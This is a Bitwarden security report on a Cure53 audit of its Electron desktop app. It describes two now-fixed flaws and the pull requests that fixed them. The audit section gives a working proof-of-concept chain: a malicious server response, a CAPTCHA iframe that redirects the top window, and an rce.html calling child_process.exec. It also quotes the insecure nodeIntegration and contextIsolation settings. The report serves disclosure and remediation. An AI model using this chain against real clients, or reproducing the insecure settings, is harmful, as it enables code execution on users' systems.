Bitwarden Electron Desktop App Report

ISSUE SUMMARIES, IMPACT ANALYSIS, AND RESOLUTION

BITWARDEN, INC

Table of Contents

Summary

In August 2023, Bitwarden engaged with cybersecurity firm Cure53 to perform penetration testing and a dedicated audit of the Bitwarden desktop application. A team of two senior testers from Cure53 were tasked with preparing and executing the audit over two days to reach total coverage of the system under review.

Two issues were discovered during the audit. All issues were resolved post-assessment.

This report was prepared by the Bitwarden team to cover the scope and impact of the issues found during the assessment and their resolution steps. For completeness and transparency, a copy of the report delivered by Cure53 has also been attached to this report.

Issues

BWN-08-014 WP3: Remote Code Execution via malicious server (Critical)

Status: Issue was fixed post-assessment.

Pull requests:

- https://github.com/bitwarden/clients/pull/6221

Electron iframe usage was refactored. These iframes are now sandboxed to `allow-scripts` and `allow-same-origin` for better user protection. The capability to redirect within them has also been removed.

BWN-08-013 WP3: Insecure Electron settings on main Browser Window (Medium)

Status: Issue was fixed post-assessment.

Pull requests:

- https://github.com/bitwarden/clients/pull/6065
- https://github.com/bitwarden/clients/pull/6975
- https://github.com/bitwarden/clients/pull/6680
- https://github.com/bitwarden/clients/pull/6482
- https://github.com/bitwarden/clients/pull/6893
- https://github.com/bitwarden/clients/pull/6839
- https://github.com/bitwarden/clients/pull/6481
- https://github.com/bitwarden/clients/pull/6480
- https://github.com/bitwarden/clients/pull/6679
- https://github.com/bitwarden/clients/pull/6838
- https://github.com/bitwarden/clients/pull/6479
- https://github.com/bitwarden/clients/pull/6478
- https://github.com/bitwarden/clients/pull/6477

The `nodeIntegration` value was switched to false, which in turn enabled the sandboxing of the renderer processes. There is no longer control and limitation of the system resources and this also ensures that the renderer process doesn't have unconstrained system access.

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, each ticket has been given a unique identifier (e.g., *BWN-08-014*) to facilitate any future follow-up correspondence.

BWN-08-014 WP3: Remote Code Execution via malicious server (*Critical*)

Multiple problems were found in the Electron app as it iframes external, remote content from the server within the main browser window. It was confirmed that this can be abused by a malicious self-hosted server in combination with BWN-08-013.

By chaining these flaws, it is possible to redirect the main browser window to an external attacker-controlled domain. Any JavaScript that runs on this domain receives access to the NodeJS API and can execute arbitrary commands on the underlying operations within the system of connecting users.

Steps to reproduce:

1. The victim launches the Desktop client and clicks on *Logging in on->Self-hosted* where they enter an attacker-controlled domain within the self-hosted server URL.
2. The victim now either enters an email address and password and clicks on *login* or, alternatively, clicks on *Create Account* and populates the fields accordingly. The former will issue an HTTP request to the endpoint *POST* at */identity/connect/token* of the attacker-controlled domain, while the latter causes a request to the *POST* at the */identity/accounts/register* endpoint.
3. The HTTP request from *Step 3* will be responded to by the malicious server with the following HTTP response, hence indicating that the client should request a CAPTCHA landing page.

   HTTP response:
   ```
   HTTP/1.1 400 OK
   connection: close
   content-type: application/json; charset=utf-8
   Content-Length: 70

   {"ValidationErrors":{"HCaptcha_SiteKey":["1"]},"HCaptcha_SiteKey":"1"}
   ```

4. The Desktop client should then frame the attacker-controlled web page found under the path */captcha-connector.html* in an iframe of the main browser window. This could contain the following contents.

Contents of */captcha-connector.html*:

```
<html><body>
<a href="/rce.html" target="_top">Solve Captcha</a>
</body></html>
```

5. If the user clicks on the *Solve Captcha* link displayed in the Desktop client, they will cause a redirect of the main browser window to the */rce.html* page of the attacker-controlled window. The latter can contain OS commands to be executed.

   Contents of */rce.html*:

   ```
   <html><script>
     require('child_process').exec('touch /tmp/hithere');
   </script></html>
   ```

6. The web page will execute the script within the main browser window which has access to the NodeJS API including the *child_process* module and its *exec* function. The executed command will have the effect of dropping a shell on the system as illustrated within the following excerpt.

   Excerpt from *shell*:

   ```
   $ ls -la  /tmp/hithere
   -rw-rw-r-- 1 vmuser vmuser 0 Aug 10 12:56 /tmp/hithere
   ```

The Desktop client should not display untrusted content in any of the browser windows or its frames. It is advisable to ship the *captcha-connector.html* page - and any other page that is currently framed - directly with the Desktop client.

As additional hardening measures, Cure53 recommends following the official Electron documentation[1] and disabling navigation and window creation. A strict permission request handler should additionally be registered. In combination with the fix proposed to BWN-08-013, this will prevent malicious servers from controlling the HTML served within the Electron app, thus mitigating this vulnerability.

[1] https://www.electronjs.org/docs/latest/tutorial/security#13-disable-or-limit-navigation

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, whilst a vulnerability is present, an exploit may not always be possible.

BWN-08-013 WP3: Insecure Electron settings on main BrowserWindow *(Medium)*

During the inspection of the browser windows, it was discovered that the main window of the application was being started with *nodeIntegration* enabled and *contextIsolation* turned off. Both of these settings are discouraged by the official Electron documentation[2]. Having these settings can let adversaries escalate Cross-Site Scripting vulnerabilities or open redirects of the main BrowserWindow into Remote Code Executions, as seen in BWN-08-014.

Affected file:
apps/desktop/src/main/window.main.ts

Affected code:

```
async createWindow(): Promise<void> {
     [...]
     this.win = new BrowserWindow({
     [...],
     webPreferences: {
     spellcheck: false,
     nodeIntegration: true,
     backgroundThrottling: false,
     contextIsolation: false,
     session: this.session,
     },
```

It is recommended to set *nodeIntegration* to *false* and *contextIsolation* to *true* in order to mitigate this and similar vulnerabilities. As an additional hardening it is advisable to enforce the sandbox on all renderers via the *enableSandbox* function[3]. If there are some features that do require the node API, it is advisable to outsource this code into one or more *preload* scripts, as recommended by the official Electron documentation[4]. The revised approach would make sure that the important process isolation is upheld, while the dangerous node API would only be available within those *preload* scripts and not in any of the renderer processes directly.

[2] https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-[...]for-remote-content
[3] https://www.electronjs.org/docs/latest/tutorial/sandbox#enabling-the-sandbox-globally
[4] https://www.electronjs.org/docs/latest/api/context-bridge